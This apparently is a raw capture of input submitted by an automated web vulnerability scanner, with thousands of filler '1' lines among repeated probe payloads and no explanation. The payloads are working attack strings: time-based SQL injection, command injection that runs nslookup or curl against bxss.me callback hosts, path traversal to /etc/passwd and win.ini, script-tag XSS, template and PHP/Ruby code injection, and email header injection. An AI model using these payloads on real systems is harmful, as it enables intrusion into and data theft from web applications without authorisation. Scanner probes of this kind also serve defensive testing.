1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
No
1
1
1
1hFfLmn4O
1
1
response.write(9131627*9766427)
1
'+response.write(9131627*9766427)+'
1
"+response.write(9131627*9766427)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo rrvfuh$()\ elmjee\nz^xyu||a #' &echo rrvfuh$()\ elmjee\nz^xyu||a #|" &echo rrvfuh$()\ elmjee\nz^xyu||a #
&echo kliowk$()\ duxsyu\nz^xyu||a #' &echo kliowk$()\ duxsyu\nz^xyu||a #|" &echo kliowk$()\ duxsyu\nz^xyu||a #
1
|echo rltoxy$()\ atloqp\nz^xyu||a #' |echo rltoxy$()\ atloqp\nz^xyu||a #|" |echo rltoxy$()\ atloqp\nz^xyu||a #
1
1
(nslookup -q=cname hittcrrkziwyxd8663.bxss.me||curl hittcrrkziwyxd8663.bxss.me))
1
$(nslookup -q=cname hityytghwohul8d73a.bxss.me||curl hityytghwohul8d73a.bxss.me)
1
1
../../../../../../../../../../../../../../etc/passwd
1
&nslookup -q=cname hitxlnqjgvior4ad9d.bxss.me&'\"`0&nslookup -q=cname hitxlnqjgvior4ad9d.bxss.me&`'
../../../../../../../../../../../../../../windows/win.ini
1
&(nslookup -q=cname hitrvxrpbwhst44d7d.bxss.me||curl hitrvxrpbwhst44d7d.bxss.me)&'\"`0&(nslookup -q=cname hitrvxrpbwhst44d7d.bxss.me||curl hitrvxrpbwhst44d7d.bxss.me)&`'
1 bcc:009247.4312-441.4312.e84fa.19955.2@bxss.me
1
|(nslookup -q=cname hitmbcvsbxdqn1d9f2.bxss.me||curl hitmbcvsbxdqn1d9f2.bxss.me)
to@example.com> bcc:009247.4312-442.4312.e84fa.19955.2@bxss.me
1
`(nslookup -q=cname hitinntkodanr5a33d.bxss.me||curl hitinntkodanr5a33d.bxss.me)`
1
1
1
;(nslookup -q=cname hittxmuujcnup89d98.bxss.me||curl hittxmuujcnup89d98.bxss.me)|(nslookup -q=cname hittxmuujcnup89d98.bxss.me||curl hittxmuujcnup89d98.bxss.me)&(nslookup -q=cname hittxmuujcnup89d98.b
1
1
file:///etc/passwd
1
1
1
1
1
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${10000420+9999051}
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
)
1
1
!(()&&!|*|*|
Http://bxss.me/t/fit.txt
1
1
1
1
^(#$!@#$)(()))******
1
1
http://bxss.me/t/fit.txt?.jpg
1
Mf2GNHFS
1
/etc/shells
1
1
1
1
-1 OR 2+414-414-1=0+0+0+1 --
1
1
c:/windows/win.ini
1
bxss.me
1
1
1
-1 OR 2+750-750-1=0+0+0+1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1' OR 2+112-112-1=0+0+0+1 --
1
-1' OR 2+229-229-1=0+0+0+1 or 'xpW3iGa4'='
1
1
1
1
1
1
1
-1" OR 2+951-951-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
if(now()=sysdate(),sleep(15),0)
1'&&sleep(27*1000)*liidcm&&'
1
1
1
1
'.gethostbyname(lc('hitdv'.'njwkvefl8e3e5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(78).chr(115).chr(66).'
1
1
1
1"&&sleep(27*1000)*upyuul&&"
1
1
1'||sleep(27*1000)*gmfmpk||'
".gethostbyname(lc("hitlf"."nldeayiq1c2ca.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(67).chr(110).chr(87)."
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1"||sleep(27*1000)*uinflm||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
HttP://bxss.me/t/xss.html?%00
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
';print(md5(31337));$a='
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
-1; waitfor delay '0:0:15' --
${@print(md5(31337))}
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(122).concat(87).concat(113).concat(72)+(require"socket" Socket.gethostbyname("hitjj"+"tzbyicmg7fb1c.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1 waitfor delay '0:0:15' --
'+'A'.concat(70-3).concat(22*4).concat(114).concat(82).concat(111).concat(76)+(require'socket' Socket.gethostbyname('hitnm'+'weeidclk225c3.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
mWFGKDTJ'; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-5 OR 540=(SELECT 540 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-5) OR 91=(SELECT 91 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
-1)) OR 205=(SELECT 205 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
Y4nrKjRm' OR 225=(SELECT 225 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1xoFs14l') OR 901=(SELECT 901 FROM PG_SLEEP(15))--
1
1
1
create
1
1
1
create
1
HMLskf98')) OR 937=(SELECT 937 FROM PG_SLEEP(15))--
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1
1'"
1
1
1
1
1
1
1
@@mElp4
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<zzz><ScRiPt >ZAe6(9791)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >ZAe6(9763)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
19625289
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bfg10186＜s1﹥s2ʺs3ʹhjl10186
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bfgx4494
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<%={{={@{#{${dfb}}%>
1
1
1
response.write(9346251*9702425)
1
1
1
1
1
'+response.write(9346251*9702425)+'
1
1
1
1
"+response.write(9346251*9702425)+"
1
1
1
1
1
1
1
1
1
1
<th:t="${dfb}#foreach
1
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
1
dfb__${98991*97996}__::.x
1
1
1
1
../1
1
1
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
echo cmymqz$()\ usnnih\nz^xyu||a #' &echo cmymqz$()\ usnnih\nz^xyu||a #|" &echo cmymqz$()\ usnnih\nz^xyu||a #
1
1
1
19276"();}]9407
1
1
1
1
1
1
1
1
1
1
&echo vakbxv$()\ ccqubt\nz^xyu||a #' &echo vakbxv$()\ ccqubt\nz^xyu||a #|" &echo vakbxv$()\ ccqubt\nz^xyu||a #
1
1
%31%39%39%31%34%22%28%29%3B%7D%5D%39%33%38%39
1
1
|echo yfatsy$()\ dxrxxx\nz^xyu||a #' |echo yfatsy$()\ dxrxxx\nz^xyu||a #|" |echo yfatsy$()\ dxrxxx\nz^xyu||a #
1
1
1
1
1
1
1
1
1</script><script>ZAe6(9248)</script>
1
1
1
1
1
(nslookup -q=cname hitqnhluinobo413b2.bxss.me||curl hitqnhluinobo413b2.bxss.me))
$(nslookup -q=cname hiteyvvjoqyqu14f9a.bxss.me||curl hiteyvvjoqyqu14f9a.bxss.me)
1
1
1
1
1
1
1
1
&nslookup -q=cname hitmhvwemyrmsb8f08.bxss.me&'\"`0&nslookup -q=cname hitmhvwemyrmsb8f08.bxss.me&`'
1
1
&(nslookup -q=cname hitrxlquyuijpba1e1.bxss.me||curl hitrxlquyuijpba1e1.bxss.me)&'\"`0&(nslookup -q=cname hitrxlquyuijpba1e1.bxss.me||curl hitrxlquyuijpba1e1.bxss.me)&`'
1
1
|(nslookup -q=cname hitrycfjdzmzm01f9f.bxss.me||curl hitrycfjdzmzm01f9f.bxss.me)
1
1
1
1
1
`(nslookup -q=cname hitpthyejpkfzf5588.bxss.me||curl hitpthyejpkfzf5588.bxss.me)`
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1 bcc:009247.4312-481.4312.e84fa.19955.2@bxss.me
1
1
to@example.com> bcc:009247.4312-482.4312.e84fa.19955.2@bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
;(nslookup -q=cname hitzukmlukvye2290b.bxss.me||curl hitzukmlukvye2290b.bxss.me)|(nslookup -q=cname hitzukmlukvye2290b.bxss.me||curl hitzukmlukvye2290b.bxss.me)&(nslookup -q=cname hitzukmlukvye2290b.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
GMkHws2Q
1
-1 OR 2+920-920-1=0+0+0+1 --
1
1
1
1
1
1
1
1
-1 OR 2+446-446-1=0+0+0+1
1
1
1
1
-1' OR 2+495-495-1=0+0+0+1 --
1
1
1
1
1
1
1
-1' OR 2+330-330-1=0+0+0+1 or '6quS82H9'='
1
1
1
-1" OR 2+125-125-1=0+0+0+1 --
12345'"\'\");|]* { < >
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
${10000042+9999801}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
yZvKd3gb'; waitfor delay '0:0:15' --
1
1
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
-5 OR 841=(SELECT 841 FROM PG_SLEEP(15))--
1
1
1
/etc/shells
c:/windows/win.ini
1
bxss.me
1
1
1
)
1
1
!(()&&!|*|*|
1
1
1
^(#$!@#$)(()))******
1
1
1
1
1
1
1
-5) OR 802=(SELECT 802 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
-1)) OR 863=(SELECT 863 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
ZqCKmd5f' OR 312=(SELECT 312 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
50OMiX2v') OR 505=(SELECT 505 FROM PG_SLEEP(15))--
1
1
1
1
1'&&sleep(27*1000)*miroxq&&'
1
1
1
1
1
1
1"&&sleep(27*1000)*qbknvy&&"
1
1
1
1
'.gethostbyname(lc('hitmo'.'qnweojrg6b952.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(65).chr(120).chr(79).'
1
1
".gethostbyname(lc("hitza"."ewlssdbee71b2.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(71).chr(99).chr(80)."
1
1
1
1
1
1'||sleep(27*1000)*tyblql||'
1
hwu0rafR')) OR 211=(SELECT 211 FROM PG_SLEEP(15))--
1
1
1
1
1"||sleep(27*1000)*srmdpy||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
1
1
1'"
1
1
1
1
1
1
1
1
1
@@h9ewe
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
HttP://bxss.me/t/xss.html?%00
1
1
';print(md5(31337));$a='
bxss.me/t/xss.html?%00
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
${@print(md5(31337))}
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(114).concat(86).concat(111).concat(88)+(require"socket" Socket.gethostbyname("hitqa"+"dlqrbcmt918d2.bxss.me.")[3].to_s)+"
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(122).concat(66).concat(120).concat(71)+(require'socket' Socket.gethostbyname('hitjy'+'pbolhjxx7d460.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
xfs.bxss.me
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
<!--
1
1'"()&%<zzz><ScRiPt >N0iL(9595)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
'"()&%<zzz><ScRiPt >N0iL(9842)</ScRiPt>
1
1
1
1
1
1
1
1
19977006
1
1
bfg4205＜s1﹥s2ʺs3ʹhjl4205
1
1
1
1
1
bfgx8046
1
1
<%={{={@{#{${dfb}}%>
1
1
1
1
1
<th:t="${dfb}#foreach
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
1
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
1
1
dfb__${98991*97996}__::.x
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
19978"();}]9464
1
1
1
%31%39%33%38%39%22%28%29%3B%7D%5D%39%31%35%34
1
1
1
1</script><script>N0iL(9154)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9523086*9993083)
1
'+response.write(9523086*9993083)+'
1
1
1
1
"+response.write(9523086*9993083)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/passwd
1
1
../../../../../../../../../../../../../../windows/win.ini
1
file:///etc/passwd
1
1
1
1
1
1
1
1
../1
1
1
1
echo mxegkv$()\ jufdtr\nz^xyu||a #' &echo mxegkv$()\ jufdtr\nz^xyu||a #|" &echo mxegkv$()\ jufdtr\nz^xyu||a #
1
&echo asnqkj$()\ btbnxl\nz^xyu||a #' &echo asnqkj$()\ btbnxl\nz^xyu||a #|" &echo asnqkj$()\ btbnxl\nz^xyu||a #
1
|echo fsvhuc$()\ ienjuy\nz^xyu||a #' |echo fsvhuc$()\ ienjuy\nz^xyu||a #|" |echo fsvhuc$()\ ienjuy\nz^xyu||a #
1
1
(nslookup -q=cname hitwjcqtvzdgbb3d67.bxss.me||curl hitwjcqtvzdgbb3d67.bxss.me))
1
1
$(nslookup -q=cname hitxhvrmmqjui02b7d.bxss.me||curl hitxhvrmmqjui02b7d.bxss.me)
1
&nslookup -q=cname hitrnyrikctlh17d8e.bxss.me&'\"`0&nslookup -q=cname hitrnyrikctlh17d8e.bxss.me&`'
1
1
1
&(nslookup -q=cname hiteatouplemb018d2.bxss.me||curl hiteatouplemb018d2.bxss.me)&'\"`0&(nslookup -q=cname hiteatouplemb018d2.bxss.me||curl hiteatouplemb018d2.bxss.me)&`'
1
|(nslookup -q=cname hiteniufufqbf86103.bxss.me||curl hiteniufufqbf86103.bxss.me)
1
1
`(nslookup -q=cname hitbrohfilsidd3e37.bxss.me||curl hitbrohfilsidd3e37.bxss.me)`
1
;(nslookup -q=cname hitlrfibihhuwede2b.bxss.me||curl hitlrfibihhuwede2b.bxss.me)|(nslookup -q=cname hitlrfibihhuwede2b.bxss.me||curl hitlrfibihhuwede2b.bxss.me)&(nslookup -q=cname hitlrfibihhuwede2b.b
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1 bcc:009247.4312-563.4312.e84fa.19955.2@bxss.me
1
1
1
1
to@example.com> bcc:009247.4312-564.4312.e84fa.19955.2@bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
C2HXAZz8
1
1
-1 OR 2+980-980-1=0+0+0+1 --
1
-1 OR 2+448-448-1=0+0+0+1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1' OR 2+511-511-1=0+0+0+1 --
1
1
1
1
-1' OR 2+190-190-1=0+0+0+1 or 'UAZWZZiy'='
1
1
1
1
1
1
1
1
1
-1" OR 2+247-247-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
if(now()=sysdate(),sleep(15),0)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1
1
1
1
12345'"\'\");|]* { < >
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
-1; waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1); waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1 waitfor delay '0:0:15' --
1
1
1
1
1
1
1
1
1
1
1
aOrQSUo7'; waitfor delay '0:0:15' --
1
1
${9999732+9999082}
1
1
1
1
1
1
1
1
1
-5 OR 40=(SELECT 40 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-5) OR 501=(SELECT 501 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1)) OR 37=(SELECT 37 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
jSk1gABp' OR 12=(SELECT 12 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
KrRDLkHK') OR 554=(SELECT 554 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
mWXLMkLh')) OR 197=(SELECT 197 FROM PG_SLEEP(15))--
1
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
)
1
1
1
!(()&&!|*|*|
1
1
^(#$!@#$)(()))******
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Http://bxss.me/t/fit.txt
1
http://bxss.me/t/fit.txt?.jpg
1'"
1
1
1
1
1
1
1
@@6jiqy
1
1
/etc/shells
1
1
1
1
1
1
1
1
c:/windows/win.ini
1
1
1
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'.gethostbyname(lc('hitgk'.'ffxcbwwwbcb28.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(72).chr(113).chr(74).'
1
1
1
1
1
1
1
1
".gethostbyname(lc("hitpb"."hmrxkitcc5429.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(68).chr(99).chr(74)."
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"()
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'&&sleep(27*1000)*dcradl&&'
1
1
1
1
1
1"&&sleep(27*1000)*kwpfgc&&"
1
1
1
1'||sleep(27*1000)*jpwepb||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1"||sleep(27*1000)*fdiyhr||"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
";print(md5(31337));$a="
1
${@print(md5(31337))}
1
1
1
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+"A".concat(70-3).concat(22*4).concat(101).concat(74).concat(115).concat(86)+(require"socket" Socket.gethostbyname("hittq"+"kwdsskxyc82cc.bxss.me.")[3].to_s)+"
1
1
'+'A'.concat(70-3).concat(22*4).concat(111).concat(75).concat(100).concat(84)+(require'socket' Socket.gethostbyname('hitjt'+'pdmvwkzf2c1ed.bxss.me.')[3].to_s)+'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
create
1
1
1
1
1
create/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
